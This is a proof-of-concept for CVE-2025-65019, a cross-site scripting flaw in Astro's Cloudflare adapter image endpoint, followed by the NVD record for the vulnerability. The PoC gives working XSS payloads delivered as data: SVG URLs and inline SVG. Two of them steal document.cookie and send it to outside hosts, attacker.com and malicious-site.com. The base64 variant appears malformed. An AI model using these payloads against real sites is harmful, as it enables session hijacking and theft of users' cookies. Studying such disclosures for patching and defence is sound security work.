CVE-2025-65019

<!-- PoC for CVE-2025-65019: Astro XSS via data: protocol in Cloudflare adapter --> <!-- Attack scenario: Inject malicious SVG via _/_image endpoint --> <!-- Method 1: Direct data: URL injection --> <img src="/_image?href=data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/svg%3E&w=100&h=100" /> <!-- Method 2: Bypass CSP using data: protocol --> <!-- When CSP allows img-src 'self' but not 'unsafe-inline' --> <img src="/_image?href=data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20onload='fetch(%22https://attacker.com/steal?c=%22%2Bdocument.cookie)'/%3E" /> <!-- Method 3: Cookie stealing payload --> <!-- Exploit SVG with external script execution --> <svg xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> var cookies = document.cookie; var img = new Image(); img.src = "https://malicious-site.com/log?data=" + encodeURIComponent(cookies); </script> </svg> <!-- Encoded version for URL parameter --> <!-- data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+dHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+PC9zdmc+ -->

{"cve": {"id": "CVE-2025-65019", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:53.063", "lastModified": "2025-11-25T15:09:57.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. Prior to version 5.15.9, when using Astro's Cloudflare adapter (@astrojs/cloudflare) with output: 'server', the image optimization endpoint (/_image) contains a critical vulnerability in the isRemoteAllowed() function that unconditionally allows data: protocol URLs. This enables Cross-Site Scripting (XSS) attacks through malicious SVG payloads, bypassing domain restrictions and Content Security Policy protections. This issue has been patched in version 5.15.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.15.9", "matchCriteriaId": "30331D9E-36BD-4BF6-88C3-A8BE37A3E6C8"}]}]}], "references": [{"url": "https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}